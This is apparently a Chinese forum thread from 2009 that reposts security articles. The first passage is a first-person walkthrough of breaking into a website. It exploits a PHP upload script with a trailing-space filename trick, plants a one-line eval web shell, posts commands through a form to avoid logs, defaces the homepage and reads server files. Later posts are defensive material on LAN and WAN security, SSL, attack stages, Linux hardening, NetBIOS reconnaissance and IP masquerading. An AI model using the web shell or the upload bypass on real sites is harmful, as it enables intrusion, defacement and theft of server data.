$upload_error="已经存在一个叫$file_name 的文件。";
else if (strtolower(substr($file_name,-4))==".php")
$upload_error="不能上传.php 文件。";
else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";
else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";

看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用is_upload_file来判断,这个漏洞很久远了,我试了下面的命令:
upload.php?file_name=a.txt&file=c:/autoexec.bat
autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的文件,文件内容如下:
<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?>
这个文件可以用来执行任何的php命令。我用了这样一个命令:
upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt
作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数忠实的为我服务了。
这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕迹,我又在本地写了这样一个html(事实上上面的upload.php的攻击也应该用POST):

<form method="post" action="http://xxx/weed/upload/cmd.php">
<input name="cmd" type="input" style="{width:400}" />
<input type="submit" value="go" />
</form>

然后就是直接发命令了,我先上传了一个我自己的首页,然后依次在我自己的html的文本框里面输入以下内容再post上去:
rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");
rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");
好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:system("dir c:\\");
这个列出了服务器上c:\下面的文件
system("type f:\\htdocs\\weed\\forum.php");
这个列出了论坛的一个PHP的源码。

忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏洞,也可能可以毁了整个站点。

攻击方法都是很老套的了,可以自由转载

一光年的距离 2009-04-23 17:59
局域网安全

happysolon

目前的局域网基本上都采用以广播为技术基础的以太网,任何两个节点之间的通信数据包,不仅为这两个节点的网卡所接收,也同时为处在同一以太网上的任何一个节点的网卡所截取。因此,黑客只要接入以太网上的任一节点进行侦听,就可以捕获发生在这个以太网上的所有数据包,对其进行解包分析,从而窃取关键信息,这就是以太网所固有的安全隐患。

  事实上,Internet上许多免费的黑客工具,如SATAN、ISS、NETCAT等等,都把以太网侦听作为其最基本的手段。

  当前,局域网安全的解决办法有以下几种:

  1.网络分段

  网络分段通常被认为是控制网络广播风暴的一种基本手段,但其实也是保证网络安全的一项重要措施。其目的就是将非法用户与敏感的网络资源相互隔离,从而防止可能的非法侦听,网络分段可分为物理分段和逻辑分段两种方式。

  目前,海关的局域网大多采用以交换机为中心、路由器为边界的网络格局,应重点挖掘中心交换机的访问控制功能和三层交换功能,综合应用物理分段与逻辑分段两种方法,来实现对局域网的安全控制。例如:在海关系统中普遍使用的DEC MultiSwitch 900的入侵检测功能,其实就是一种基于MAC地址的访问控制,也就是上述的基于数据链路层的物理分段。

  2.以交换式集线器代替共享式集线器

  对局域网的中心交换机进行网络分段后,以太网侦听的危险仍然存在。这是因为网络最终用户的接入往往是通过分支集线器而不是中心交换机,而使用最广泛的分支集线器通常是共享式集线器。这样,当用户与主机进行数据通信时,两台机器之间的数据包(称为单播包Unicast Packet)还是会被同一台集线器上的其他用户所侦听。一种很危险的情况是:用户TELNET到一台主机上,由于TELNET程序本身缺乏加密功能,用户所键入的每一个字符(包括用户名、密码等重要信息),都将被明文发送,这就给黑客提供了机会。

  因此,应该以交换式集线器代替共享式集线器,使单播包仅在两个节点之间传送,从而防止非法侦听。当然,交换式集线器只能控制单播包而无法控制广播包(Broadcast Packet)和多播包(Multicast Packet)。所幸的是,广播包和多播包内的关键信息,要远远少于单播包。

  3.VLAN的划分

  为了克服以太网的广播问题,除了上述方法外,还可以运用VLAN(虚拟局域网)技术,将以太网通信变为点到点通信,防止大部分基于网络侦听的入侵。

  目前的VLAN技术主要有三种:基于交换机端口的VLAN、基于节点MAC地址的VLAN和基于应用协议的VLAN。基于端口的VLAN虽然稍欠灵活,但却比较成熟,在实际应用中效果显著,广受欢迎。基于MAC地址的VLAN为移动计算提供了可能性,但同时也潜藏着遭受MAC欺诈攻击的隐患。而基于协议的VLAN,理论上非常理想,但实际应用却尚不成熟。

  在集中式网络环境下,我们通常将中心的所有主机系统集中到一个VLAN里,在这个VLAN里不允许有任何用户节点,从而较好地保护敏感的主机资源。在分布式网络环境下,我们可以按机构或部门的设置来划分VLAN。各部门内部的所有服务器和用户节点都在各自的VLAN内,互不侵扰。

  VLAN内部的连接采用交换实现,而VLAN与VLAN之间的连接则采用路由实现。目前,大多数的交换机(包括海关内部普遍采用的DEC MultiSwitch 900)都支持RIP和OSPF这两种国际标准的路由协议。如果有特殊需要,必须使用其他路由协议(如CISCO公司的EIGRP或支持DECnet的IS-IS),也可以用外接的多以太网口路由器来代替交换机,实现VLAN之间的路由功能。当然,这种情况下,路由转发的效率会有所下降。

  无论是交换式集线器还是VLAN交换机,都是以交换技术为核心,它们在控制广播、防止黑客上相当有效,但同时也给一些基于广播原理的入侵监控技术和协议分析技术带来了麻烦。因此,如果局域网内存在这样的入侵监控设备或协议分析设备,就必须选用特殊的带有SPAN(Switch Port Analyzer)功能的交换机。这种交换机允许系统管理员将全部或某些交换端口的数据包映射到指定的端口上,提供给接在这一端口上的入侵监控设备或协议分析设备。笔者在厦门海关外部网设计中,就选用了Cisco公司的具备SPAN功能的Catalyst系列交换机,既得到了交换技术的好处,又使原有的Sniffer协议分析仪“英雄有用武之地”。

广域网安全

  由于广域网大多采用公网来进行数据传输,信息在广域网上传输时被截取和利用的可能性就比局域网要大得多。如果没有专用的软件对数据进行控制,只要使用Internet上免费下载的“包检测”工具软件,就可以很容易地对通信数据进行截取和破译。

  因此,必须采取手段,使得在广域网上发送和接收信息时能够保证:

  ①除了发送方和接收方外,其他人是无法知悉的(隐私性);

  ②传输过程中不被篡改(真实性);

  ③发送方能确知接收方不是假冒的(非伪装性);

  ④发送方不能否认自己的发送行为(不可抵赖性)。

  为了达到以上安全目的,广域网通常采用以下安全解决办法:

  1.加密技术

  加密型网络安全技术的基本思想是不依赖于网络中数据通道的安全性来实现网络系统的安全,而是通过对网络数据的加密来保障网络的安全可靠性。数据加密技术可以分为三类,即对称型加密、不对称型加密和不可逆加密。

  其中不可逆加密算法不存在密钥保管和分发问题,适用于分布式网络系统,但是其加密计算量相当可观,所以通常用于数据量有限的情形下使用。计算机系统中的口令就是利用不可逆加密算法加密的。近年来,随着计算机系统性能的不断提高,不可逆加密算法的应用逐渐增加,常用的如RSA公司的MD5和美国国家标准局的SHS。在海关系统中广泛使用的Cisco路由器,有两种口令加密方式:Enable Secret和Enable Password。其中,Enable Secret就采用了MD5不可逆加密算法,因而目前尚未发现破解方法(除非使用字典攻击法)。而Enable Password则采用了非常脆弱的加密算法(即简单地将口令与一个常数进行XOR与或运算),目前至少已有两种破解软件。因此,最好不用Enable Password。

  2.VPN技术

  VPN(虚拟专网)技术的核心是采用隧道技术,将企业专网的数据加密封装后,透过虚拟的公网隧道进行传输,从而防止敏感数据的被窃。VPN可以在Internet、服务提供商的IP、帧中继或ATM网上建立。企业通过公网建立VPN,就如同通过自己的专用网建立内部网一样,享有较高的安全性、优先性、可靠性和可管理性,而其建立周期、投入资金和维护费用却大大降低,同时还为移动计算提供了可能。因此,VPN技术一经推出,便红遍全球。

  但应该指出的是,目前VPN技术的许多核心协议,如L2TP、IPSec等,都还未形成通用标准。这就使得不同的VPN服务提供商之间、VPN设备之间的互操作性成为问题。因此,企业在VPN建网选型时,一定要慎重选择VPN服务提供商和VPN设备。

  3.身份认证技术

  对于从外部拨号访问总部内部网的用户,由于使用公共电话网进行数据传输所带来的风险,必须更加严格控制其安全性。一种常见的做法是采用身份认证技术,对拨号用户的身份进行验证并记录完备的登录日志。较常用的身份认证技术,有Cisco公司提出的TACACS+以及业界标准的RADIUS。笔者在厦门海关外部网设计中,就选用了Cisco公司的CiscoSecure ACS V2.3软件进行RADIUS身份认证。

外部网安全

  海关的外部网建设,通常指与Internet的互联及与外部企业用户的互联两种。无论哪一种外部网,都普遍采用基于TCP/IP的Internet协议族。Internet协议族自身的开放性极大地方便了各种计算机的组网和互联,并直接推动了网络技术的迅猛发展。但是,由于在早期网络协议设计上对安全问题的忽视,以及Internet在使用和管理上的无政府状态,逐渐使Internet自身的安全受到威胁,黑客事件频频发生。

  对外部网安全的威胁主要表现在:非授权访问、冒充合法用户、破坏数据完整性、干扰系统正常运行、利用网络传播病毒、线路窃听等。

  外部网安全解决办法主要依靠防火墙技术、入侵检测技术和网络防病毒技术。在实际的外部网安全设计中,往往采取上述三种技术(即防火墙、入侵检测、网络防病毒)相结合的方法。笔者在厦门海关外部网设计中,就选用了NAI公司最新版本的三宿主自适应动态防火墙Gauntlet Active Firewall。该防火墙产品集成了Gauntlet Firewall、CyberCop Scanner、CyberCop Monitor、WebShield for Firewall等套件,将防火墙技术、入侵检测技术与网络防病毒技术融为一体,紧密结合,相得益彰,性价比比较高。

一光年的距离 2009-04-23 17:59
SSL(安全套层)协议

  目前,Internet上有几种加密协议在使用,对应(七层)网络模型的每一层都已提出了相应的协议。对应用层有SET(安全电子交易)协议。对会话层有SSL(安全套层)协议。在所有的协议中,SSL和SET与电子商务的关系最为密切。
<bR>
  SSL是对计算机之间整个会话进行加密的协议。它在Internet上广泛用于处理财务上敏感的信息,这很大程度上是因为先有这样东西,而不是设计它用于此项目的。
<br>
  在SSL中,采用了公开密钥和专有密钥两种加密:<bR>
·在建立连接过程中采用公开密钥; <br>
·在会话过程中使用专有密钥。 <br>
  加密的类型和强度则在两端之间建立连接的过程中判断决定。 <br>
  在所有情况下,服务器通过以下方法向客户机证实自身: <bR>
·给出包含公开密钥的、可验证的证明; <bR>
·演示它能对用此公开密钥加密的报文进行解密。 <bR>
  有时,客户机可以提供表明它本身(用户)身份的证明。<br>
  会话密钥是从客户机选择的数据中推导出来的,该数据用服务器的公开密钥加密。 <bR>
  在每个SSL会话(其中客户机和服务器都被证实身份)中,要求服务器完成一次使用服务器专用密钥的操作和一次使用客户机公开密钥的操作。由于实际上目前所有的系统都使用RSA加密法,每次操作都需要完成模数算法下的指数运算。通常,选择的公开指数为小数,以减少要做的工作。因此,一次SSL会话只要一次"硬的"加密运算.

一光年的距离 2009-04-23 17:59
黑客攻击过程

大家都说黑客攻击如何如何厉害,并且我们当中的N多人连中了招都不知道自己是怎么死的——这还是好的,关键是更多的N多人已经被人植了木马自己还不知道自己已经死了——呜呼!下面我们来看看黑客是如何攻击你那可怜的网络的,当然,偶然的一次攻击可能过程就没有这么烦琐,但是总体说来——如果你本机的安全问题确实比较糟糕的话,那就——不在不安全中爆发,就在不安全中灭亡,你就自己看着办把。

一般说来,如果你不幸得罪了某个黑客,他并不是直接杀入你家中格了你的硬盘,他会先收集关于你(当然是你的系统)中的N多信息(正所谓知己知彼,白战白胜是也)。此称为信息收集,黑客一般会利用下列的公开协议或工具,收集你的相关信息。

SNMP协议:用来查阅网络系统路由器的路由表,从而了解目标主机所在网络的拓扑结构及其内部细节。

TraceRoute程序:能够用该程序获得到达目标主机所要经过的网络数和路由器数。

Whois协议:该协议的服务信息能提供所有有关的DNS域和相关的管理参数。

DNS服务器:该服务器提供了系统中可以访问的主机的IP地址表和它们所对应的主机名。

Finger协议:用来获取一个指定主机上的所有用户的详细信息(如注册名。电话号码。最后注册时间以及他们有没有读邮件等等)。

Ping实用程序:可以用来确定一个指定的主机的位置。

自动Wardialing软件:可以向目标站点一次连续拨出大批电话号码,直到遇到某一正确的号码使其MODEM响应为止。

在收集了你的N多信息之后,黑客就开始分析你的系统安全弱点了。分析出来的一大堆结果就用于探测系统的安全漏洞或安全弱点,黑客可能使用下列方式自动妇描驻留在网络上的主机。

自编程序:对于某些产品或者系统,已经发现了一些安全漏洞,该产品或系统的厂商或组织会提供一些“补丁”程序给予弥补。但是以你的懒惰,并不一定及时使用这些“补丁”程序——所以呢,当黑客发现这些“补丁”程序的接口后就会自己编写程序,通过这个接口进入你的系统。这时你不幸的系统对于黑客来讲就变得一览无余了。

利用公开的工具:像Internet的电子安全扫描程序1SS ( Intemet Security Scanner)。

审计网络用的安全分析工具SATAN ( Securi Ana1ysis Tool for Auditing Network)等。这样的工具可以对整个网络或子网进行扫描,寻找安全漏洞(注意哦,这是针对两台以上主机的局域网情况!)。这些工具都有两面性,就看是什么人在使用它们了。系统管理员可以使用它们,以帮助发现其管理的网络系统内部隐藏的安全漏洞,从而确定系统中哪些主机需要用“补丁”程序去堵塞漏洞。而黑客也可以利用这些工具,收集目标系统的信息,获取攻击目标系统的非法访问权。

好了,现在是万事具备,只欠东风了,下面就是黑客们将要隆重登场的一出关键节目——网络攻击(很不幸这个节目中你是悲剧角色)

黑客一旦获得了对你的系统的访问权后,可能有下述多种选择:

试图毁掉攻击入侵的痕迹,并在受到损害的系统上建立另外的新的安全漏洞或后门,以便在先前的攻击点被发现之后,继续访问这个系统。

在你的系统中安装探测软件,包括木马,用以掌握你的一切活动,以收集他比较敢兴趣的东西(不要以为人人都想偷窥你的信,人家更感兴趣的是你的电子银行帐号和密码之类)

如果你是在一个局域网中,黑客就可能会利用你的机子作为对整个网络展开攻击的大本营,55,你不仅要受害,还要帮他背黑锅。

如果这个黑客比较善良的话,你就指着他以删掉你的文件,换掉你的屏保,等等方式来提醒你意识到自己已经死了吧。

另外,我越写都越怕怕了,也不知道各位平时的上网习惯,哎,同志们哪,网络安全客一定要放在心上啊。读到这片文章的同志们快去http://cnsec.21cn.com/bike/main/index.btml去检测一下自己系统的安全性啊,最好再下一个“天网个人防火墙”来应个急先!

一光年的距离 2009-04-23 18:00
高级Linux安全管理技巧  

扁扁

  高级Linux安全管理技巧扁扁由于Linux操作系统是一个开放源代码的免费操作系统,因此受到越来越多用户的欢迎。随着Linux操作系统在我国的不断普及,有关的政府部门更是将基于Linux开发具有自主版权的操作系统提高到保卫国家信息安全的高度来看待,因此我们不难预测今后Linux操作系统在我国将得到更快更大的发展。虽然Linux与UNIX很类似,但它们之间也有一些重要的差别。对于众多的习惯了UNIX和Windows NT的系统管理员来讲,如何保证Linux操作系统的安全将面临许多新的挑战。本文介绍了一系列实用的Linux安全管理经验。

  一、文件系统在Linux系统中,分别为不同的应用安装单独的主分区将关键的分区设置为只读将大大提高文件系统的安全。这主要涉及到Linux自身的ext2文件系统的只添加(只添加)和不可变这两大属性。

  ●文件分区Linux的文件系统可以分成几个主要的分区,每个分区分别进行不同的配置和安装,一般情况下至少要建立/、/usr/local、/var和/home等分区。/usr可以安装成只读并且可以被认为是不可修改的。如果/usr中有任何文件发生了改变,那么系统将立即发出安全报警。当然这不包括用户自己改变/usr中的内容。/lib、/boot和/sbin的安装和设置也一样。在安装时应该尽量将它们设置为只读,并且对它们的文件、目录和属性进行的任何修改都会导致系统报警。

  当然将所有主要的分区都设置为只读是不可能的,有的分区如/var等,其自身的性质就决定了不能将它们设置为只读,但应该不允许它具有执行权限。

  ●扩展ext2使用ext2文件系统上的只添加和不可变这两种文件属性可以进一步提高安全级别。不可变和只添加属性只是两种扩展ext2文件系统的属性标志的方法。一个标记为不可变的文件不能被修改,甚至不能被根用户修改。一个标记为只添加的文件可以被修改,但只能在它的后面添加内容,即使根用户也只能如此。

  可以通过chattr命令来修改文件的这些属性,如果要查看其属性值的话可以使用
lsattr命令。要想了解更多的关于ext2文件属性的信息,可使用命令man chattr来寻求
帮助。这两上文件属性在检测黑客企图在现有的文件中安装入侵后门时是很有用的。为了安全起见,一旦检测到这样的活动就应该立即将其阻止并发出报警信息。

  如果你的关键的文件系统安装成只读的并且文件被标记为不可变的,入侵者必须重新安装系统才能删除这些不可变的文件但这会立刻产生报警,这样就大大减少了被非法入侵的机会。

  ●保护log文件当与log文件和log备份一起使用时不可变和只添加这两种文件属性特别有用。系统管理员应该将活动的log文件属性设置为只添加。当log被更新时,新产生的log备份文件属性应该设置成不可变的,而新的活动的log文件属性又变成了只添加。这通常需要在log更新脚本中添加一些控制命令。

  二、备份在完成Linux系统的安装以后应该对整个系统进行备份,以后可以根据这个备份来验证系统的完整性,这样就可以发现系统文件是否被非法窜改过。如果发生系统文件已经被破坏的情况,也可以使用系统备份来恢复到正常的状态。

  ●CD-ROM备份当前最好的系统备份介质就是CD-ROM光盘,以后可以定期将系统与光盘内容进行比较以验证系统的完整性是否遭到破坏。如果对安全级别的要求特别高,那么可以将光盘设置为可启动的并且将验证工作作为系统启动过程的一部分。这样只要可以通过光盘启动,就说明系统尚未被破坏过。

  如果你创建了一个只读的分区,那么可以定期从光盘映像重新装载它们。即使象/boot、/lib和/sbin这样不能被安装成只读的分区,你仍然可以根据光盘映像来检查它们,甚至可以在启动时从另一个安全的映像重新下载它们。

  ●其它方式的备份虽然/etc中的许多文件经常会变化,但/etc中的许多内容仍然可以放到光盘上用于系统完整性验证。其它不经常进行修改的文件,可以备份到另一个系统(如磁带)或压缩到一个只读的目录中。这种办法可以在使用光盘映像进行验证的基础上再进行额外的系统完整性检查。

  既然现在绝大多数操作系统现在都在随光盘一起提供的,制作一个CD-ROM紧急启动盘或验证盘操作起来是十分方便的,它是一种十分有效而又可行的验证方法。

  三、改进系统内部安全机制可以通过改进Linux操作系统的内部功能来防止缓冲区溢出攻击这种破坏力极强却又最难预防的攻击方式,虽然这样的改进需要系统管理员具有相当丰富的经验和技巧,但对于许多对安全级别要求高的Linux系统来讲还是很有必要的。

  ●Solaris Designer的安全Linux补丁Solaris Designer用于2.0版内核的安全Linux补丁提供了一个不可执行的栈来减少缓冲区溢出的威胁,从而大大提高了整个系统的安全性。

  缓冲区溢出实施起来是相当困难的,因为入侵者必须能够判断潜在的缓冲区溢出何时会出现以及它在内存中的什么位置出现。缓冲区溢出预防起来也十分困难,系统管理员必须完全去掉缓冲区溢出存在的条件才能防止这种方式的攻击。正因为如此,许多人甚至包括Linux Torvalds本人也认为这个安全Linux补丁十分重要,因为它防止了所有使用缓冲区溢出的攻击。但是需要引起注意的是,这些补丁也会导致对执行栈的某些程序和库的依赖问题,这些问题也给系统管理员带来的新的挑战。

  不可执行的栈补丁已经在许多安全邮件列表(如securedistros@nl.linux.org)中进行分发,用户很容易下载到它们等。

  ●StackGuardStackGuard是一个十分强大的安全补丁工具。你可以使用经StackGuard修补过的gcc版本来重新编译和链接关键的应用。

  StackGuard进行编译时增加了栈检查以防止发生栈攻击缓冲区溢出,虽然这会导致系统的性能略有下降,但对于安全级别要求高的特定应用来讲StackGuard仍然是一个十分管用的工具。

  现在已经有了一个使用了SafeGuard的Linux版本,用户使用StackGuard将会更加容易。虽然使用StackGuard会导致系统性能下降约10~20%,但它能够防止整个缓冲区溢出这一类攻击。

  ●增加新的访问控制功能Linux的2.3版内核正试图在文件系统中实现一个访问控制列表,这要可以在原来的三类(owner、group和other)访问控制机制的基础上再增加更详细的访问控制。

  在2.2和2.3版的Linux内核中还将开发新的访问控制功能,它最终将会影响当前有关ext2文件属性的一些问题。与传统的具有ext2文件系统相比它提供了一个更加精确的安全控制功能。有了这个新的特性,应用程序将能够在不具有超级用户权限的情况下访问某些系统资源,如初始套接等。

  ●基于规则集的访问控制现在有关的Linux团体正在开发一个基于规则的访问控制(RSBAC)项目,该项目声称能够使Linux操作系统实现B1级的安全。RSBAC是基于访问控制的扩展框架并且扩展了许多系统调用方法,它支持多种不同的访问和认证方法。这对于扩展和加强Linux系统的内部和本地安全是一个很有用的。

  四、设置陷井和蜜罐所谓陷井就是激活时能够触发报警事件的软件,而蜜罐(honey pot)程序是指设计来引诱有入侵企图者触发专门的报警的陷井程序。通过设置陷井和蜜罐程序,一旦出现入侵事件系统可以很快发出报警。在许多大的网络中,一般都设计有专门的陷井程序。陷井程序一般分为两种:一种是只发现入侵者而不对其采取报复行动,另一种是同时采取报复行动。

  设置蜜罐的一种常用方法是故意声称Linux系统使用了具有许多脆弱性的IMAP服务器版本。当入侵者对这些IMAP服务器进行大容量端口扫瞄就会落入陷井并且激发系统报警。

  另一个蜜罐陷井的例子就是很有名的phf,它是一个非常脆弱的Web cgi-bin脚本。最初的phf是设计来查找电话号码的,但它具有一个严重的安全漏洞:允许入侵者使用它来获得系统口令文件或执行其它恶意操作。系统管理员可以设置一个假的phf脚本,但是它不是将系统的口令文件发送给入侵者,而是向入侵者返回一些假信息并且同时向系统管理员发出报警。

  另外一类蜜罐陷井程序可以通过在防火墙中将入侵者的IP地址设置为黑名单来立即拒绝入侵者继续进行访问。拒绝不友好的访问既可以是短期的,也可以是长期的。Linux内核中的防火墙代码非常适合于这样做。

五、将入侵消灭在萌芽状态入侵者进行攻击之前最常做的一件事情就是端号扫瞄,如果能够及时发现和阻止入侵者的端号扫瞄行为,那么可以大大减少入侵事件的发生率。反应系统可以是一个简单的状态检查包过滤器,也可以是一个复杂的入侵检测系统或可配置的防火墙。

  ●Abacus Port SentryAbacus Port Sentry是开放源代码的工具包,它能够监视网络接口并且与防火墙交互操作来关闭端口扫瞄攻击。当发生正在进行的端口扫瞄时,Abacus Sentry可以迅速阻止它继续执行。但是如果配置不当,它也可能允许敌意的外部者在你的系统中安装拒绝服务攻击。

  Abacus Port Sentry如果与Linux中透明的代理工具一起使用可以提供一个非常有效地入侵防范措施。这样可以将为所有IP地址提供通用服务的未使用端口重定向到Port Sentry中,Port Sentry可以在入侵者采取进一步行动之前及时检测到并阻止端口扫瞄。

  Abacus Port Sentry能够检测到慢扫瞄(slow scan),但它不能检测到结构化攻击
(structured attack)。这两种方式最终目的都要试图掩盖攻击意图。慢扫瞄就是通过将端口扫瞄分散到很长的时间内来完成,而在结构化的攻击中,攻击者试图通过扫瞄或探测多个源地址中来掩盖自己的真实攻击目标。

  正确地使用这个软件将能够有效地防止对IMAP服务大量的并行扫瞄并且阻止所有这样的入侵者。Abacus Sentry与Linux 2.2内核的IPChains工具一起使用时最有效,IPChains能够自动将所有的端口扫瞄行为定向到Port Sentry。

  Linux 2.0内核可以使用IPChains进行修补,Abacus Port Sentry也可以与早期的2.0版内核中的ipfwadm工具一起使用,ipfwadm在2.2版本以后被IPChains取代了。

  Abacus Port Sentry还可以被配置来对Linux系统上的UDP扫瞄作出反应,甚至还可以对各种半扫瞄作出反应,如FIN扫瞄,这种扫描试图通过只发送很小的探测包而不是建立一个真正的连接来避免被发现。

  当然更好的办法就是使用专门的入侵检测系统,如ISS公司的RealSecure等,它们可以根据入侵报警和攻击签名重新配置防火墙。但这样的产品一般价格较高,普及的用户承受起来有困难。

  六、反攻击检测系统主要通过阻止入侵企图来防止入侵,而反攻击系统则可以反向进行端口扫瞄或发起其它的攻击,这一着让入侵者不仅入侵阴谋未能得逞,反而“引狼入室”,招致反攻击。

  有些安全系统如Abacus Sentry具有一定的反攻击能力。比如有的站点有了防止用户通过telnet进行连接,在应答telnet连接请求时,系统将返回一些不受欢迎的恶意信息。这只是一种最简单也是最轻微的反攻击措施。

  一般情况下并不提倡使用反攻击功能,因为这样的反攻击措施很容易被非法利用来攻击其它的系统。

  七、改进登录服务器将系统的登录服务器移到一个单独的机器中会增加系统的安全级别,使用一个更安全的登录服务器来取代Linux自身的登录工具也可以进一步提高安全。

  在大的Linux网络中,最好使用一个单独的登录服务器用于syslog服务。它必须是一个能够满足所有系统登录需求并且拥有足够的磁盘空间的服务器系统,在这个系统上应该没有其它的服务运行。更安全的登录服务器会大大削弱入侵者透过登录系统窜改日志文件的能力。

  ●安全syslog即使使用单独的登录服务器,Linux自身的syslog工具也是相当不安全的。因此,有人开发了所谓的安全log服务器,将密码签名集成到日志中。这会确保入侵者即使在窜改系统日志以后也无法做到不被发现。现在最常用的用于取代syslog的安全log服务器称为"安全syslog(ssyslong)",用户可以从Core SDI站点http://www.core-sdi.com/ssylog处下载这个工具。这个守护程序实现一个称为PEQ-1的
密码协议来实现对系统日志的远程审计。即使在入侵者获得系统超级用户权限的情况下也仍然可以进行审计,因为协议保证了以前以及入侵过程中的的log信息没有审计者(在远程可信任的主机上)的通知无法被修改。

  ●syslog-ng另一个取代syslog的工具是syslog-ng(下一代的syslog)。这是一个
更加可配置的守护进程,它提供了密码签名来检测对日志文件的窜改。密码安全登录服务器和远程审计功能一起可以使入侵者极难进行日志窜改并且非常容易被检测到这样的不良企图。用户可以从www.babit.hu/products/syslog-ng.html处下载这个工具。

  八、使用单一登录系统维护分散的大网络环境中的多个用户帐号对于系统管理员来讲是一件非常头疼的事情。现在有一些单一的登录(sign on)系统不仅可以减轻管理员的负担,而同时还提高了安全级别。

  网络信息服务(NIS)是一个很好的单一登录系统,它在Sun公司的Yellow Page服务的基础上发展来的,它的基本安全特性不够健状,由于不断有一些bug和脆弱性被公布,因此有人戏称它为网络入侵者服务(Network Intruder Service)。NIS的更新版本NIS+原NIS的不足进行了改进,现在已经有了用于Linux的NIS+版本。

  Kerberos也是一种非常有名的单一登录系统。Kerberos v4具有一些很有名的安全漏洞,如入侵者可以离线进行穷尽攻击Kerberos cookie而不会被发现。Ketberos v5大大进行了改进,不会再有v4的问题。

  在大的网络中,象NIS和Kerberos这样的单一的登录系统虽然有有利的一面,但也有它不利的一面。一方面,在不同系统上都具有认证机制有助于隔离该功能并且减少它与其它服务相互之间的影响。另一方面,一旦一个系统中的某个帐号被破坏,所有可通过这个帐号访问的系统都将同样遭到破坏。因此在单一的登录系统中特别要求具有较高防猜测水平的口令字。

  基于Windows的网络在Windows NT域系统中有自己的单一登录系统。Linux系统可以根据Windows系统进行认证。这允许用户在Windows系统下修改、维护和管理它们的帐号和口令字并且修改结果会在同时在UNIX登录中得到体现。如使用pam_smb,Linux系统可以根据Windows SMB Domain进行认证。这在以Windows网络管理为中心的网络中是相当方便的,但它也带来了Windows认证系统自身的一些不安全性。

  九、掌握最新安全产品和技术作为一个系统管理员,还必须时刻跟踪Linux安全技术的发展动向,并且适时采用更先进的Linux安全工具。目前国际上有许多有关Linux安全的研究和开发项目,目前至少有三个安全Linux项目已经启动,每个项目的目标都有自己的侧重
点,它们分别是:

  ●安全Linux(Secure Linux)

  安全Linux(www.reseau.nl/securelinux)项目的目标是提供一个用于Internet服务器系统的安全的Linux分发。该项目管理者正寻求在这个产品中集成强大的密码和一些额外的Web服务器功能。既然它是在美国之外创建的,人们可望能够得到改进的密码安全而不会受到美国安全产品出口法律的限制。

  ●Bastille LinuxBastille Linux(www.bastille-linux.org)项目寻求在Linux环境中建立一个类似OpenBSD的标准。该项目宣称的目标是为台式机创建一个安全的分发,使网络管理者可以不用担心用户的安全。

  ●Kha0s LinuxKha0s Linux(www.kha0s.org)正寻求创建了一个具有强加密和类似OpenBSD的安全政策的最小的安全Linux分发。该小组目前正在它的Web站点上请求全球用户和厂商的参与和合作。

  除此之外,下面两点对于管理员提高Linux安全管理水平也是十分有用的:

  ●访问安全Linux邮件列表现在有许多关于Linux安全的邮件列表,如securedistros@nl.linux.org、 Kh a0s-dev@kha0s.org等,经常访问这些邮件列表可以得到大量的安全信息。

  还有另一个通用的邮件列表是security-audit@ferret.lmh.ox.ac.uk,它是专门讨论源代码的安全审计的。这个列表可能与其它的邮件列表有大量的重复,但如果想了解源代码审计和相关的安全问题的话还是很值得一读的。

  十、多管齐下任何一种单一的安全措施其防范能力都是有限的,一个安全的系统必须采取多种安全措施,多管齐下才能更好的保证安全。假如一个Linux系统采取了以上各种安全措施,那么要想侵入你的系统,攻击者将不得不绕过防火墙、避开入侵检测系统、跳过陷井程序、通过系统过滤器、逃过你的日志监视器、修改文件系统属性、破坏安全登录服务器才能最终达到目的。由于其中任何一个环节都可能激发报警,因此入侵者要想侵入这样的系统而又不被发现几乎是不可能的。

一光年的距离 2009-04-23 18:00
NT系统安全

rawrence

  网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的是,以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚,除了Unix机外,这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序,并通过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外,但一般情况下都能这样做。最近,业界发布了几个用来远程鉴别机器的工具,但该功能目前还不能用于NT。
  当攻击基于NT的网络时,NetBIOS往往是首选的攻击对象。因此,NetBIOS就成为本文中第一个要探讨的重要课题。
  用NetBIOS进行信息收集相当容易,虽然要花费一点时间。NetBIOS一般被看作是开销很大的大容量协议,速度往往很慢,这也就是要耗费时间的原因。
  如果端口扫描程序报告端口139在目标机上是开放的,那么接下来就是一个很自然的过程。第一步是发出NBTSTAT命令。NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外,它还可以用来消除
NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。
用法:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S]
[-s]
[interval]
参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。

                                                            

一光年的距离 2009-04-23 18:01
IP 伪 装 法

1.1. 简介

  这份文件描述如何在一台 Linux 主机上起动 IP Masquerade 功能,允许没有注册网际网路 IP 位址的连线电脑经由你的 Linux 机器连接网际网路。你的机器可能是以乙太网路连接 Linux, 也可能是其它种类,像是拨接的点对点(ppp) 连线。这份文件将会强调乙太网路连线的情况,因为这应该是最常见的案例。

这份文件倾向给使用 2.0.x 核心的使用者参考,不包含发展中的 2.1.x 核心。

1.2. 前言,回馈&参考资讯

    首先,我想让你知道我不是对 IP masquerade 了解非常透彻或很有经验的人。

